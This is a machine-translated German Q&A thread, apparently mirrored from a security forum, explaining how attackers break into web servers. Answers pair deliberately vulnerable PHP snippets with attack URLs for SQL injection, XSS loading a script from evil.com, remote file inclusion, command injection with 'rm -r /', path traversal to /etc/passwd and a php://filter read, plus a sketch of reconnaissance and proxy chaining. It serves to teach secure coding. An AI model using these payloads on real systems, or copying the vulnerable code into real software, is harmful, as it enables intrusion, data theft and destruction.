it-swarm-eu.dev

Wie funktioniert Hacking?

Ich spreche speziell über Webserver, auf denen Unix ausgeführt wird. Ich war schon immer neugierig, wie Hacker den Einstiegspunkt bekommen. Ich meine, ich sehe nicht, wie ein Hacker sich in die Webseite hacken kann, wenn die einzige Eingabemethode, die er in den Server hat, eine URL ist. Ich muss etwas vermissen, weil ich keine Möglichkeit sehe, wie der Hacker nur durch Ändern der URL auf den Server zugreifen kann.

Mit Einstiegspunkt meine ich den Zugangspunkt. Die Art und Weise, wie ein Hacker in den Server gelangt.

Könnte ich ein Beispiel dafür bekommen, wie ein Hacker einen Einstiegspunkt in einen Webserver schaffen würde? Jede C-Sprache ist akzeptabel. Ich habe absolut keine Erfahrung im Hacken

Ein einfaches Beispiel wäre willkommen.

98
user7360

Hacks, die nur durch Ändern der URL funktionieren

  • Ein legitimes und ein böswilliges Beispiel
  • Einige Beispiele erfordern eine URL-Codierung (normalerweise automatisch vom Browser).

SQL Injection

Code:

$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");

Exploit (meldet sich als Administrator an, ohne das Passwort zu kennen):

example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--

Cross Site Scripting (XSS)

Code:

$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";

Exploit (Registrierer besuchen Benutzer als Zombie in BeEF ):

example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />

Remote-Codeausführung

Code (Tylerls Beispiel):

<? include($_GET["module"].".php"); ?>

Exploit (lädt beliebigen Code herunter und führt ihn aus):

example.com/?module=frontpage
example.com/?module=Pastebin.com/mymaliciousscript

Befehlsinjektion

Code:

<?php
echo Shell_exec('cat '.$_GET['filename']);
?>

Exploit (versucht alle Dateien aus dem Stammverzeichnis zu löschen):

example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /

Code-Injection

Code:

<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("\$myvar = \$x;");
?>

Exploit (fügt den Befehl phpinfo () ein, der sehr nützliche Angriffsinformationen auf dem Bildschirm ausgibt):

example.com/?arg=1
example.com/?arg=1; phpinfo() 

LDAP-Injektion

Code:

<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>

Exploit (meldet sich an, ohne das Administratorkennwort zu kennen):

example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*

Pfadüberquerung

Code:

<?php
include("./" . $_GET['page']);
?>

Exploit (holt/etc/passwd):

example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd

Angriff umleiten/weiterleiten

Code:

 <?php
 $redirectUrl = $_GET['url'];
 header("Location: $redirectUrl");
 ?>

Exploit (Sendet Benutzer von Ihrer Seite zur bösen Seite):

example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php

Fehler beim Einschränken des URL-Zugriffs

Code:

N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other 
means discover the location of content that should only be accessible while logged in.

Exploit:

example.com/users/showUser.php
example.com/admins/editUser.php

Fälschung von standortübergreifenden Anfragen

Code:

N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages. 

Exploit:

Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500
destinationAccount=evilAccount#" width="0" height="0" />

Pufferüberlauf (technisch durch Zugriff auf eine URL, jedoch mit Metasploit implementiert

code:

N/A. Vulnerability in the webserver code itself. Standard buffer overflow

Exploit (Metasploit + Meterpreter?):

http://www.exploit-db.com/exploits/16798/
189
Chris Dale

Der (derzeit) häufigste Weg ist durch Löcher in PHP Anwendungen). Es gibt Dutzende von Möglichkeiten, wie dies funktionieren könnte, aber hier ist eine einfache, einfache:

Stellen Sie sich vor, der ahnungslose Websitebesitzer beschließt, eine Verknüpfung in seinem Code zu verwenden, sodass http://example.com/site.php?module=xyz lädt tatsächlich zuerst eine Template-Shell und führt dann "xyz.php" aus, um den Inhalt auszufüllen. Vielleicht schreibt er so etwas:

<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>

Der Hacker besucht die Site dann unter der folgenden URL:
http://example.com/site.php?module=http://malicio.us/evilprogram

Anstatt jetzt sein lokales Skript zu laden, geht PHP aus und lädt http://malicio.us/evilprogram.php und führt es aus - es wird ausgeführt, was auch immer PHP Code, den der Angreifer wünscht. Vielleicht Spam senden, vielleicht eine Backdoor-Shell installieren, vielleicht die Konfigurationsdateien nach Passwörtern durchsuchen.

Es gibt buchstäblich Tausende von Möglichkeiten, eine Site zu hacken, jede so neu wie die andere. Fast universell handelt es sich um einen Programmierer, der nicht über alle möglichen Eingaben in sein Programm und die unerwarteten Auswirkungen nachgedacht hat.

24
tylerl

Es gibt zwei Möglichkeiten, es zu betrachten: Sie können sich auf den Server selbst oder auf die Webanwendung konzentrieren, die auf dem Server ausgeführt wird.

Als Server kann es offene Ports geben, auf denen Dienste ausgeführt werden, mit denen Sie eine Verbindung herstellen und Zugriff auf den Server erhalten können. Durch die Verwendung bekannter Exploits können Sie Root-Zugriff erhalten. Beispielsweise weisen einige FTP-Server für Unix Schwachstellen auf, die von Tools wie Metasploit ausgenutzt werden können, um eine Root-Shell zu erhalten.

Als Anwendung gibt es viel zu viele Möglichkeiten, eine schlecht geschriebene oder konfigurierte Anwendung auszunutzen. Wenn Sie beispielsweise eine SQL-Abfrage als GET übergeben, können Sie die URL selbst manipulieren, um einen SQL Injection Angriff und Dump ganze Datenbanken auszuführen. Zum Beispiel (abhängig von der Codierung der Site): http://www.mydomain.com/products/products.asp?productid=12 UNION SELECT Benutzername, Passwort FROM USERS

Sie berühren wieder ein massives Thema und ich hoffe, diese helfen Ihnen, Ihre nächsten Schritte zu fokussieren.

11
schroeder

Die kurze Antwort

Dies ist möglicherweise nicht die richtige Frage.

Ein Hacker ...

... ist ein Social Engineer.

Sie interessieren sich mehr für ihre Interaktionen mit Menschen als für ihre Interaktionen mit Computern. Ein Hacker möchte Ihnen lieber Ihr Passwort geben, als es brutal erzwingen zu müssen.

... sucht Wissen ...

... und weiß, dass Wissen Macht ist. Ein Hacker interessiert sich mehr für Erhalten Ihre Kreditkartennummer als für Verwenden.

... benutzt Moral als Ausrede ...

... keine Ursache. Aus diesem Grund werden viele Hacker moralisch orientierte politische Ereignisse nutzen, um an die Öffentlichkeit zu gehen. Sie wissen, dass sie die Moral nutzen können, um ihre Handlungen in den Augen der Öffentlichkeit zu entschuldigen.

... wird nicht erwischt, wenn er nicht will.

Meistens. Wannabe-Hacker, die ohne Rücksicht auf Stealth oder Anonymität direkt einspringen, werden in der Hacking-Community als "Script Kiddies" oder "Skiddies" bezeichnet. Es gibt höchstwahrscheinlich weit mehr Skiddies als Hacker, und sie werden wahrscheinlich Ihr größter Ärger sein.

... benötigt keine Spezialwerkzeuge oder Hintertüren.

Das von Ihnen bereitgestellte Frontend ist wahrscheinlich ausreichend.

Die lange Antwort

Sie können sich gegen die Exploits in Metasploit absichern, was Sie wollen. Ein Hacker kommt einfach durch die Haustür herein - wenn nicht virtuell, buchstäblich.

Die Antwort, die Sie wollen

Angesichts der Tatsache, dass die Leute die Antwort, die ich gegeben habe nicht mögen, nicht mögen, gebe ich Ihnen etwas mehr nach Ihren Wünschen.

Hacker bleiben gerne anonym. Der erste Schritt bei jedem Angriff besteht darin, eine Reihe von Proxys aneinander zu reihen, sei es SOCKS-Proxies, Zombies oder einfach nur Bots, die ein Botnetz bilden. Es gibt einige Möglichkeiten, dies zu tun, aber lassen Sie uns zur Diskussion einige tote Stellvertreter besorgen. Gehen Sie zu Pastebin.com und suchen Sie nach 8080. Dies ist ein gängiger Port für Webproxys. Scrollen Sie in den Ergebnissen nach unten, bis Sie eine Liste der IP-Adressen finden, und klicken Sie, um das Ergebnis anzuzeigen. Sie sollten eine lange Liste von Web-Proxys haben. Ich kann garantieren, dass die meisten, wenn nicht alle, tot sein werden. Entschuldigung, dies ist kein Hacking-Tutorial.

Der nächste Schritt besteht darin, scheinbar triviale Informationen über Ihr Ziel zu sammeln. Mit seinen Proxys würde ein Hacker Portscans ausführen und dann alle Dienste prüfen, die er findet. Hast du eine Website? Lass es uns erkunden. Hast du einen MySQL Server? Mal sehen, um welche Version es sich handelt. SSH ausführen? Mal sehen, ob es Textkennwörter akzeptiert oder auf Zertifikate beschränkt ist.

Dann setzt sich der Hacker, schaut sich an, was er gesammelt hat, und entscheidet, was der schwächste Punkt des Systems ist. Abhängig von der Größe des Systems geht er möglicherweise zurück und prüft etwas mehr, wenn es mehr zu prüfen gibt und er das Gefühl hat, keine ausreichend gute Schwäche erworben zu haben. Eine Schwäche muss kein echtes Sicherheitsloch sein: Sie muss nur das schwächste Glied sein. Möglicherweise haben Sie einen FTP-Server, der nicht vor Hämmern schützt (wiederholte Anmeldeversuche). Möglicherweise haben Sie einen Webserver mit einer Reihe von Formularen oder potenziell ausnutzbaren URLs. Diese sind es wert, weiter untersucht zu werden.

Bei Bedarf kann der Angreifer ein Skript oder Programm schreiben, um den endgültigen Angriff auszuführen, obwohl dies nicht immer der Fall ist. Die meisten Schwachstellen können mit vorhandenen Tools ausgenutzt werden, sodass dies für den modernen Hacker normalerweise nicht erforderlich ist. Gelegentlich entdecken Hacker jedoch neue Sicherheitslücken in der Software. In diesem Fall müssen sie manchmal spezielle Tools schreiben, um diese Software auszunutzen.

Ein gutes Beispiel für ein offensichtliches Angriffsprogramm ist eines, das verwendet wird, um Probleme auf Servern für ein Spiel namens Terraria zu verursachen. Dies war nicht der ursprüngliche Zweck, aber da es verschiedene Exploits in der Serversoftware verfügbar macht, wird es in der Regel von anderen verwendet. Ich habe es in C # geschrieben. Der Quellcode ist verfügbar unter GitHub . Die Exploits verwenden die Bytecode-Manipulation, um den vorhandenen Client so zu ändern, dass schädliche Daten gesendet werden. Der Server erwartet diese Daten nicht und reagiert auf eine Weise, für die sie nicht entwickelt wurden. Das Erkennen solcher Exploits kann so einfach sein wie das Reverse Engineering der Zielsoftware - ich sage einfach, weil dies mit modernen reflektierenden Sprachen wie C # und Java zu einer immer einfacheren Aufgabe geworden ist. Programme wie .NET Reflector (kostenpflichtig) und dotPeek (vorerst kostenlos) ermöglichen dies per Knopfdruck. Ein ausreichend geschulter C # -Programmierer kann dann den Code beobachten, seine Funktionalität bestimmen und ein Programm schreiben, um diese Funktionalität zu ändern.

7
Zenexer

Ein Freund von mir hatte einen Vertrag über die Arbeit an einer Baustelle. Während er es tat, bemerkte er, dass Hacker auf die Website kamen und Dinge taten, die er nicht mochte. Nachdem er sich einige Protokolldateien angesehen hat, bemerkt er, dass die 'Hacker' die Site gefunden haben, indem sie einen MySQL-Fehler gegoogelt haben.

Wenn Sie in der Lage sind, SQL zu injizieren, können Sie alles tun, was Sie wollen, z. B. sich selbst ein Konto erstellen. Wenn Sie Dateien (insbesondere PHP) hochladen können, haben Sie die Möglichkeit, diese auszuführen. Wenn Sie es ausführen können, können Sie mehr Schaden anrichten, z. B. Lese-/Schreibdateien auf dem Server-Dateisystem, selbst wenn Sie kein Konto auf dem Linux-/Windows-Server haben.

Eine andere Technik besteht darin, in die Datenbank einzudringen, die Kennwörter zu überprüfen (insbesondere wenn sie nicht gehasht sind), als zu versuchen, eine SSH- oder FTP-Verbindung zu derselben IP-Adresse der Site herzustellen, und die Benutzer-/Kennwortkombinationen auszuprobieren.

Außerdem müssen Sie nicht in den Server einbrechen, um gehackt zu werden. Jemand, den ich traf, erzählte mir eine Geschichte, wie veraltete Software auf seinem Server installiert wurde. Die Angreifer verwendeten es, um ihre eigene PHP-Datei hochzuladen und auszuführen, die eine Codezeile (um einen Iframe hinzuzufügen) in jede index.php- und index.html-Datei einfügte. Im Wesentlichen konnte niemand die Website besuchen. Es wurde entweder umgeleitet oder es wurden viele Popups angezeigt.

4
user5575

Wie oft haben wir über Anmeldungen ohne Passwort oder "Joes" gelesen? Benötigt keine Kenntnisse über Metasploit oder etwas wirklich Exotisches, um in die Haustür zu gelangen. Ein bisschen wie ein laufendes Auto, das an einem kalten Morgen in einer Einfahrt sitzt "Bitte stiehl mich".

2
jl01

Nur ein paar weitere Beispiele, die Sie berücksichtigen sollten.

Nach dem Beispiel von Tyler:

<?php
   if ( isset( $_GET[ 'id' ] ) ) include( $_GET[ 'id' ] . ".php" );
?>

Angriffsvektor:

http://victimsite.com/?id=php://filter/read=convert.base64-encode/resource=includes/configure

Dies ist eine lokale Datei mit Base64-Angriff, da keine sichere Codierung vorhanden ist. Ein Angreifer kann fast jede Datei auf der Site oder dem Server lesen, die mit [.php] endet. In diesem Fall kann er den Dateiinhalt der Datei configure.php lesen file, PHP gibt einen base64_encode des gesamten Dateiinhalts zurück, der leicht wieder in lesbaren Text dekodiert werden kann.

Die fehlerhafte URL muss jedoch nicht nach Sicherheitslücken für die Eingabesicherheit suchen.

Auf vielen Web-Commerce-Websites meldet der $ PHP_SELF-Code den Dateinamen falsch, unter dem Ihre Site.com/admin/administrators.php, $ PHP_SELF den Dateinamen als administrators.php gemeldet hat. Wenn jedoch login.php wie admin/administrators.php/login angehängt wurde. php, dann $ PHP_SELF meldet login.php als Dateinamen anstelle von administrators.php falsch an.

Wenn zum Beispiel die Frage zur Validierung der Administrationssitzung in diesem beeindruckenden Beispiel gestellt wird:

* if (keine gültige Administrationssitzung) und ($ PHP_SELF ist nicht = to login.php) dann umleiten zu login.php *

Die Seite wird niemals zur Datei login.php umgeleitet, da $ PHP_SELF den wahren Dateinamen falsch meldet und der Angreifer daher auf die Datei administrators.php zugreifen kann, ohne dass korrekte Anmeldeinformationen erforderlich sind.

1
Taipo